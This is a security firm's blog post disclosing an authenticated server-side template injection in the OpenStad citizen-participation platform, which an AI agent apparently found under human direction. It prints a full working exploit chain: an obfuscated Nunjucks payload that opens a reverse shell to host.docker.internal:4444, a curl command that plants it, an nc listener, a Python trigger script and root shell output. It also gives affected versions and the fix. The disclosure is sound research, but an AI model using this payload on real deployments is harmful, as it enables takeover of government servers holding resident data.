← Back to blog
|

30 Minutes to Root: How AI Found a RCE in Local Government Software

Blogaipentestingrcesstivulnerability-researchopenstad

During a recent bug bounty challenge I went hunting for vulnerabilities in the OpenStad software. One after another my submissions came back rejected, all for the same reason: duplicate. Already known, already reported.

The low-hanging fruit was reported, so instead I decided to search for a high impact finding, something that actually matters.

What follows is a short story about how little time that took, and why anyone running this software should care.

One prompt to rule them all

The setup was stupidly minimal. No carefully prepared context, no fine-tuning. I dropped the complete source code in a folder, let Claude deploy the Docker container, and gave it a single line of direction:

/goal I want to find RCE, SQLi or anything related that could score at least critical, keep it fully local. And don't stop until you find something of real impact.

From that moment, claude started mapping the codebase and I guided the process: reading what it surfaced, throwing out the dead ends, and pointing it back at the parts that looked off, the template rendering in particular. When it flagged a Nunjucks environment, rendering attacker-controlled templates with no sandbox; I knew it was worth a deep dive.

It took about 30 minutes to land on a working remote code execution; let that sink in. This is a level of speed we as security researchers don't appreciate enough, and it is exactly that speed which makes it so significant. Finding serious vulnerabilities used to be hours of focused work. Now with the help of AI, it takes around half an hour and a beer. However, it still requires an experienced eye to know which lead is worth chasing.

Down the rabbit hole

It began by mapping out all the template renders in the API server. It found renderString / new nunjucks.Environment, and correlated NotificationMessage.js: new nunjucks.Environment() back to it. That environment ran without a sandbox, so user-controlled input flows, straight into a template engine that is perfectly happy to execute whatever you give it. Autoescape, which is on by default in Nunjucks, does nothing to stop this: the payload runs while the template is being rendered, before escaping would ever apply.

The input for the NotificationMessage can be set by any user with the editor or admin role. That is the exact (mis)configuration that makes this so dangerous: it does not require a system administrator or a compromised server. A low privilege editor account is enough. Inside the notification message you place the payload:

{
  "type": "new published resource - user feedback",
  "engine": "email",
  "label": "poc",
  "subject": "poc",
  "body": "<mjml><mj-body><mj-section><mj-column><mj-text>{{ range.constructor(\"var net=global.process.mainModule.require(String.fromCharCode(110,101,116));var cp=global.process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));var sh=cp.spawn(String.fromCharCode(47,98,105,110,47,115,104),[]);var c=new net.Socket();c.connect(4444,String.fromCharCode(104,111,115,116,46,100,111,99,107,101,114,46,105,110,116,101,114,110,97,108),function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});c.on(String.fromCharCode(101,114,114,111,114),function(e){});return String.fromCharCode(111,107);\")() }}</mj-text></mj-column></mj-section></mj-body></mjml>"
}

The payload consists of the following:

  • the body contains what it should execute, {{ range.constructor("<js>")() }}
  • range.constructor = Function, so Function("<js>")() creates and executes the code.

Decoded, the real payload reads:

  • 110,101,116 is net
  • 99,104,105,108,100,95,112,114,111,99,101,115,115 is child_process
  • 47,98,105,110,47,115,104 is /bin/sh
  • 104,111,115,116,46,100,111,99,107,101,114,46,105,110,116,101,114,110,97,108 is host.docker.internal, which is the host where we start our listener
  • 101,114,114,111,114 is error
  • 111,107 is ok

So it boils down to this:

var net = global.process.mainModule.require("net");
var cp  = global.process.mainModule.require("child_process");
var sh  = cp.spawn("/bin/sh", []);
var c   = new net.Socket();
c.connect(4444, "host.docker.internal", function(){
  c.pipe(sh.stdin); sh.stdout.pipe(c); sh.stderr.pipe(c);
});
c.on("error", function(e){});
return "ok";

What it does:

  • global.process.mainModule.require grabs the real Node modules.
  • It spawns /bin/sh and opens a TCP connection to host.docker.internal:4444.
  • Our nc listener then catches the shell.

And it was not the only place. Checking comparable spots across the codebase revealed the same pattern in the auth-server, where the login mail template of the client config was rendered through the same kind of plain, unsandboxed Nunjucks environment. Both went into the same fix.

Breaking it into three steps

As documented in the vulnerability report, the whole thing comes down to three simple steps.

Step 1: Plant the template

The TOKEN parameter is the editor's JSON Web Token:

#!/bin/sh
TOKEN="eyJhbGciOiJIU...TWdx0"

curl -s -i -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "http://localhost:31410/notification/project/2/template" \
  --data '{"type": "new published resource - user feedback", "engine": "email", "label": "poc", "subject": "poc", "body": "<mjml><mj-body><mj-section><mj-column><mj-text>{{ range.constructor(\"var net=global.process.mainModule.require(String.fromCharCode(110,101,116));var cp=global.process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));var sh=cp.spawn(String.fromCharCode(47,98,105,110,47,115,104),[]);var c=new net.Socket();c.connect(4444,String.fromCharCode(104,111,115,116,46,100,111,99,107,101,114,46,105,110,116,101,114,110,97,108),function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});c.on(String.fromCharCode(101,114,114,111,114),function(e){});return String.fromCharCode(111,107);\")() }}</mj-text></mj-column></mj-section></mj-body></mjml>"}'
echo

Step 2: Setup the listener

The listener on port 4444, where our reverse shell lands:

nc -l 4444

Step 3: Pull the trigger

To trigger the notification template and run the payload, we use this Python script:

#!/usr/bin/env python3
import urllib.request, urllib.error

TOKEN = "eyJhbGciOiJIUzI...HqhC5kcETWdx0"
URL  = "http://localhost:31410/notification/project/2/notification"
BODY = b'{"type":"new published resource - user feedback","engine":"email","from":"[email protected]","to":"[email protected]","data":{}}'

req = urllib.request.Request(URL, data=BODY, method="POST",
      headers={"Authorization": "Bearer " + TOKEN, "Content-Type": "application/json"})
try:
    r = urllib.request.urlopen(req, timeout=20)
    print("[+] triggered:", r.status, "-> check your nc listener for the shell")
except urllib.error.HTTPError as e:
    print("[!]", e.code, e.read().decode()[:300])

Root.

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

And there it is. Root on the box, straight from a low privilege editor account.

Why this matters

OpenStad is not some side project, it is an open source citizen participation platform used by local governments to run things like online consultations and participatory budgeting. It is deployed on their own infrastructure and often handling resident data.

To summarize this is an authenticated RCE. You need an editor account on a single project to reach it, and from there you get a root shell on the API server. The advisory rates it High (CVSS 8.8), and that is the right call. It is not pre-authentication, and that distinction matters.

I do want to highlight that editor accounts tend to be handed out more freely than admin accounts: project staff, external partners, temporary moderators. If one of those credentials leaks or gets reused, or if an authentication bypass turns up somewhere else in the stack, this a potential path to acquire root on the API server. Given how fast this kind of finding now surfaces with the right tooling, it is fair to ask how long that "authenticated" barrier really holds, which is reason enough to patch sooner rather than later.

For admins, the practical part:

  • Affected: openstad-headless >= 2.0.36, < 2.9.4
  • Fixed in: 2.9.4
  • What to do: we strongly advise upgrading to 2.9.4 or later, which fixes the vulnerable template rendering. If you can't upgrade right away, review who actually holds the editor role and strip it from accounts that don't need it.

What this means for pentesting

Speaking of how this was discovered: the context handed to the agent was almost nothing. The source in a folder and a one-line goal. The guidance came from the human in the loop, reading the output and recognizing that a sandboxless Nunjucks render, was the one lead worth chasing.

Imagine providing the context to an AI; the dev history, the commits and other weak spots. And then imagine an experienced researcher in the loop, guiding the process, filtering the noise, chaining findings that the model perhaps wouldn't recognize right away. Agentic speed under human direction is what turns specialized work into advanced capabilities.

The raw speed is cheap now, and that cuts two ways. It provides the low-skill attacker a capability they never had, and in the hands of an experienced researcher, it significantly enhances skills they already had. Either way, the malicious attacker has the same tooling and does not lose any sleep over the risks. While organizations and researchers use the same tools, the true challenge lies in guiding the AI to discover and remediate vulnerabilities before attackers can exploit them. That is exactly where our continuous pentesting service comes in. You want to be sure your codebase is solid, but organizing a pentest can take some time. During that time, the codebase changes and potentially introduced vulnerabilities, which could be exploited by said attackers.

This case demonstrates how quickly potential vulnerabilities surface through the combined ability of an agent and researcher working together. Our service provides you with a continuous code review and a continuous pentest on every release. Which is audited and reported back to you by our security researchers. We can provide "vibe-coders" a structured path towards secure code.

To ensure the best results, we always start of with a traditional pentest. This allows our researchers to acquire the necessary guidance of the environment.

With continuous pentesting you get that same attention on every single release, driven by high end AI systems and sharpened with our own knowledge, our reporting and our habit of thinking outside the box. Same Zolder you already know, now on every release.